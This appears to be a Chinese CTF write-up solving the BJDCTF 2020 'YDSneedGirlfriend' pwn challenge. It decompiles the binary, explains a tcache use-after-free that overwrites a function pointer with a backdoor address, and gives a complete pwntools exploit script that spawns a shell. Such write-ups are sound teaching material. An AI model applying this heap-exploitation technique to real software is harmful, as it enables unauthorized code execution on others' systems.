题面
二进制文件
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
|
❯ pwn checksec girlfriend
[*] '/data/project/ctf-repo/pwn/nssctf/BJDCTF_2020-YDSneedGirlfriend/girlfriend'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
ida 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
myinit();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_girlfriend();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_girlfriend();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_girlfriend();
}
}
}
|
输出菜单长这样:
1
2
3
4
5
6
7
8
|
YDS need a grilfriend!,can u help him?
------------------------
1. Add a girlfriend
2. Delete a girlfriend
3. show her name
4. give up
------------------------
Your choice :
|
分别来看几个子函数:
add_girlfriend
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
unsigned __int64 add_girlfriend()
{
__int64 v0; // rbx
int i; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
if ( count <= 10 )
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(&girlfriendlist + i) )
{
*(&girlfriendlist + i) = malloc(0x10u);
if ( !*(&girlfriendlist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
printf("Her name size is :");
read(0, buf, 8u);
v3 = atoi(buf);
v0 = (__int64)*(&girlfriendlist + i);
*(_QWORD *)(v0 + 8) = malloc(v3);
if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Her name is :");
read(0, *((void **)*(&girlfriendlist + i) + 1), v3);
puts("Success !Wow YDS get a girlfriend!");
++count;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readfsqword(0x28u) ^ v5;
}
|
表观逻辑就是:询问姓名空间,输入姓名,结束。
首先,只能建立 10 个 girlfriend,count 写在 .bss 里。
在 .bss 还有一个指针数组 girlfriendlist 存储 chunk。
有两次 malloc,第一次分配的 chunk 存储 print_girlfriend_name 函数和内容 chunk 的地址;第二次分配的 chunk 存储的就是姓名。
地址 chunk 空间默认 0x10,内容 chunk 由我们输入来确定。
del_girlfriend
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
unsigned __int64 del_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
{
free(*((void **)*(&girlfriendlist + v1) + 1));
free(*(&girlfriendlist + v1));
puts("Success");
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
|
用于删除 girlfriend。根据 add_girlfriend 的顺序 free 掉 malloc 分配的内存。
print_girlfriend
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
unsigned __int64 print_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
(*(void (__fastcall **)(_QWORD))*(&girlfriendlist + v1))(*(&girlfriendlist + v1));
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
|
核心在于
1
|
(*(void (__fastcall **)(_QWORD))*(&girlfriendlist + v1))(*(&girlfriendlist + v1));
|
一个函数调用。参数和函数地址都是 *(&girlfriendlist + v1),再往下挖看看:
print_girlfriend_name
通过前面的 add_girlfriend,可以知道 &girlfriendlist + v1 存的是 print_girlfriend_name 的地址。
print_girlfriend_name 内容是:
1
2
3
4
|
int __fastcall print_girlfriend_name(__int64 a1)
{
return puts(*(const char **)(a1 + 8));
}
|
传进来的 *(&girlfriendlist+v1) 在这里 +8 也就是前面提到的内容 chunk 的地址。
backdoor
程序留了个后门函数,我们接下来就是要调用该函数拿到 shell。
1
2
3
4
5
|
int backdoor()
{
puts("YDS get N+ girlfriend!");
return system("/bin/sh");
}
|
差不多整体思路就理明白了。
利用
由于内容 chunk 的大小是我们自己定义的,而地址 chunk 固定分配大小是 0x10。
在 free 掉 girlfriend 后,该地址被存入 tcache bins:

下次要是 malloc 大小合适会直接从 tcachebins 中拿出 free chunks。
要是 free 掉两个 girlfriend 就会有两个 0x20 的 chunk 被放入 tcachebins,此时 girlfriendlist 存储的指针就是野指针。
接下来要是 malloc 内容 chunk 和地址 chunk 同样大小的空间,也就是 0x10,那么两个 chunk 都从 tcachebins 中的 0x20 chunks 拿。
可是这两个 chunks 都有被 girlfriendlist 其他地方所指向,这样就构成了 Use After Free。
如图,这时候新分配的 chunks 的内容 chunks (绿色)直接用最开始分配的那个 chunks,可以往里面写入后门函数地址,直接调用。

理清思路后,写 exp。
对于这种程序,首先把每个子函数的流程都封装为函数,方便多次调用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
def add(size:int,content:bytes):
io.recvuntil(b"choice :")
io.sendline(b"1")
io.recvuntil(b"is :")
io.sendline(str(size).encode())
io.recvuntil(b"is :")
io.sendline(content)
def delete(index:int):
io.recvuntil(b"choice :")
io.sendline(b"2")
io.recvuntil(b"Index :")
io.sendline(str(index).encode())
def show(index:int):
io.recvuntil(b"choice :")
io.sendline(b"3")
io.recvuntil(b"Index :")
io.sendline(str(index).encode())
|
首先随便生成两个内容 chunk 比 0x10 大的 girlfriend。
1
2
|
add(0x20, b"something")
add(0x20, b"thing")
|
free 掉:
创建和地址 chunks 大小一样的 girlfriend,内容写上后门函数。
1
|
add(0x10, p64(backdoor))
|
调用野指针,运行后门函数:
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
from pwn import *
io = process("./girlfriend")
# io = remote("node4.anna.nssctf.cn", 27992)
def add(size:int,content:bytes):
io.recvuntil(b"choice :")
io.sendline(b"1")
io.recvuntil(b"is :")
io.sendline(str(size).encode())
io.recvuntil(b"is :")
io.sendline(content)
def delete(index:int):
io.recvuntil(b"choice :")
io.sendline(b"2")
io.recvuntil(b"Index :")
io.sendline(str(index).encode())
def show(index:int):
io.recvuntil(b"choice :")
io.sendline(b"3")
io.recvuntil(b"Index :")
io.sendline(str(index).encode())
backdoor = 0x400b9c
add(0x20, b"something")
add(0x20, b"thing")
delete(0)
delete(1)
add(0x10, p64(backdoor))
show(0)
io.interactive()
|